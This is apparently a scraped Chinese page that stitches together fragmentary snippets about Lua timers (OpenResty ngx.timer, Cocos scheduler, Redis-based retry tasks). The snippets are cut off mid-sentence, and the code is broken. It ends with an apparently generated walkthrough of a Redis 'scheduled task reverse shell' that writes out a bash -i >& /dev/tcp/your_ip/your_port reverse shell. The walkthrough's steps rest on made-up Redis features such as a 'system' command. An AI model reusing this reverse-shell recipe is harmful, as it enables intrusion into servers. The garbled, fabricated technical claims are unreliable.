local handler
-- do some routine job in Lua just like a cron job
handler = function (premature)
ngx.log(ngx.INFO,"====================定时任务执行开始======================")
ngx.timer.at(delay, handler)
local ok, err = ngx.timer.at(delay, handler)
最近在写合宙4G的DTU
Lua
t脚本,由于有一个每日
定时任务
的需求。所以基于ntp demo进行了一些修改。做成了定时脚本。代码很简单,ntp设置为24小时同步一次,然后所有代码都可以写在一个1s的定时器里面。
比如每5秒运行一次的任务,就使用tm.sec%5 == 0作为判断条件,每小时整点运行一次的,可以使用tm.min==0 作为判断条件,每天0点运行的,使用tm.hour==0作为判断条...
有时我们需要在特定时间执行特定的任务,然而一般的
定时任务
又不满足我们的需求。如重推任务:我们向第三方发送话单,但是有可能推送失败,此时我们需要隔一段时间再重推。重推N次后,仍然失败,则不重推,标志无法推送
程序需要在N秒后执行特定任务,但是任务的参数由当前决定。
本文演示使用Redis,
lua
和spring boot实现如上的功能。
使用方法很简单
local scheduler = require("framework.scheduler")
local handler = scheduler.scheduleGlobal(function()
-- 想做的事情
0.2) -- 调用间隔
scheduler.unscheduleGlobal(handler) -- 取消定时器
print("dadf")
CCDirector:sharedDirector():getScheduler():unscheduleScriptEntry(scheduleId)
前面介绍了
lua
中update的实现,利用update,我们可以实现
lua
的定时器类。
与c#定时器原理一样,我们需要提供注册函数与反注册函数,然后利用update注册对应的update循环,在update循环里获取当前事件,然后遍历当前的注册列表,比较当前时间和定时器的注册时间,如果到了指定时间,就进行函数调用,同样,函数注册时需要传递自身self。
注册函数类似如下
function...
counter = Timer.new()
要启动或停止一个定时器请使用命令 timername:start() 和 timername:stop()。我们想在程序开始启动我们的定时器,所以加上下面代码:
counter:start()
Redis
定时任务
反弹shell是一种利用Redis的计划任务功能来实现反弹shell的方法。通过在Redis中设置一个
定时任务
,当任务触发时,会执行相应的命令来反弹shell。
根据引用内容,可以使用Redis的计划任务反弹shell的步骤如下:
1. 首先,确保你已经安装了Redis,并且Redis服务器正常运行。
2. 在Redis配置文件(redis.conf)中启用计划任务功能。可以设置`
lua
-time-limit`参数为负数,以允许长时间运行的任务。
3. 创建一个
Lua
脚本,用于执行反弹shell的命令。可以使用`redis.call`函数来执行Redis命令,例如`redis.call('system', 'bash -i >& /dev/tcp/your_ip/your_port 0>&1')`。
4. 使用Redis的`EVAL`命令将
Lua
脚本加载到Redis中,并设置
定时任务
。可以使用`EVAL "return redis.call('config', 'set', 'notify-keyspace-events', 'Ex')" 0`命令来设置键空间通知事件,以便Redis能够触发计划任务。
5. 设置计划任务的触发条件和频率,例如可以使用`SET key value EX seconds NX`命令来设置一个键,当键不存在时才会触发
定时任务
。
6. 当
定时任务
触发时,Redis将执行
Lua
脚本中的命令,从而实现反弹shell的功能。
请注意,
定时任务
反弹shell可能涉及到安全风险,应谨慎操作并遵守法律法规。